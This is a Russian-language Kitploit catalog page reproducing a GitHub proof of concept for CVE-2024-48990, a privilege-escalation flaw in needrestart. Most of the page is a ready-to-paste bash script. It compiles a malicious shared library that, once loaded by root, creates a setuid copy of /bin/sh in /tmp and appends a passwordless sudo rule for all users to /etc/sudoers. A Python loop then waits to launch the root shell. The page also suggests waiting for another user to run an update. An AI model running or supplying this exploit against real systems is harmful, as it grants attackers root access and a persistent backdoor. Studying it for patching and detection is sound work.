Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-48990-PoC-Testing — Testing POC for use cases | Kitploit
Инструменты/GitHubGitHub/pentestfunctions/cve-2024-48990-poc-testing
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubpentestfunctions/cve-2024-48990-poc-testing

CVE-2024-48990-PoC-Testing

Testing POC for use cases

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
2611 год назадПроверено Kitploit

CVE-2024-48990-PoC-Testing 🐍🔓

Этот репозиторий содержит Proof of Concept (PoC) для демонстрации уязвимости в программе needrestart, которая неправильно задаёт путь Python, что приводит к возможному повышению привилегий. PoC показывает потенциальный способ получения повышенных привилегий путём эксплуатации этой ошибки.

⚠️ Обзор уязвимости

Уязвимость CVE-2024-48990 находится в пакете needrestart. В частности, он неправильно устанавливает путь Python, что может быть использовано для повышения привилегий при определённых действиях.

Данный PoC моделирует сценарий, при котором вредоносная разделяемая библиотека загружается через Python для манипуляции системными настройками и получения повышенных привилегий. Используйте его только в контролируемой безопасной среде для тестирования.

Чтобы проверить, уязвимы ли вы, выполните:

root@kitploit:~
needrestart --version | grep -q "3.7" && echo "Definitely vulnerable" || echo "Version is potentially not vulnerable, this simply checks for 3.7"

Если вы хотите уязвимую версию для тестирования, просто выполните:

root@kitploit:~
sudo apt install needrestart=3.7-3

⚡ Как вызвать уязвимость

Чтобы вызвать уязвимость, выполните следующее, пока работает скрипт-слушатель:

root@kitploit:~
sudo apt remove ntp; sudo apt install ntp

Эта команда устанавливает пакет (ntp в данном случае), что приводит к срабатыванию проблемы с needrestart, однако в идеале вы бы дождались, пока другой пользователь системы выполнит обновление или что-то, что запускает needrestart, например, sudo apt update.



🔨 Шаги для воспроизведения

Выполните следующий скрипт, чтобы настроить PoC и вызвать уязвимость. Вы можете скопировать и вставить его целиком в терминал и ждать или запустить вручную, как показано выше с ntp. Скрипт также добавляет бинарник в sudo path для всех пользователей для демонстрации — на самом деле вы можете просто добавить все пути для sudo для своего пользователя, но я хотел показать оба варианта:

root@kitploit:~
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib

# Create and compile the malicious library
cat << 'EOF' > /tmp/malicious/lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

static void a() __attribute__((constructor));

void a() {
    if(geteuid() == 0) {  // Only execute if we're running with root privileges
        setuid(0);
        setgid(0);
        const char *shell = "cp /bin/sh /tmp/poc; "
                            "chmod u+s /tmp/poc; "
                            "grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
                            "echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
        system(shell);
    }
}
EOF

gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c

# Minimal Python script to trigger import
cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
    try:
        import importlib
    except:
        pass
    if __import__("os").path.exists("/tmp/poc"):
        print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
        __import__("os").system("sudo /tmp/poc -p")
        break
    time.sleep(1)
EOF

cd /tmp/malicious; clear;echo -e "\n\nWaiting for norestart execution...\nEnsure you remove yourself from sudoers on the poc file after\nsudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers\nAs well as remove excess files created:\nrm -rf malicious/ poc"; PYTHONPATH="$PWD" python3 e.py 2>/dev/null

💥 Скрипт очистки

Если вы хотите очистить тестовые файлы и удалить себя из sudoers, выполните следующее с повышенной привилегией:

root@kitploit:~
sudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers
rm -rf malicious/ poc; ls

🛠️ Требования

  • Система на базе Linux (рекомендуется Ubuntu/Debian)
  • Установленный пакет needrestart (или удалён и переустановлен для вызова)
  • Python 3.x (для выполнения Python-скрипта)

🚨 Предупреждение

Этот PoC предназначен только для тестирования и не должен использоваться в производственной среде. Эксплуатация этой уязвимости в несанкционированных средах может быть незаконной. Всегда получайте явное разрешение перед проведением любого тестирования безопасности.


🔗 Ресурсы

  • Репозиторий GitHub: CVE-2024-48990-PoC
  • Детали CVE: CVE-2024-48990

Удачного тестирования! 🧪🚀

Скачать инструмент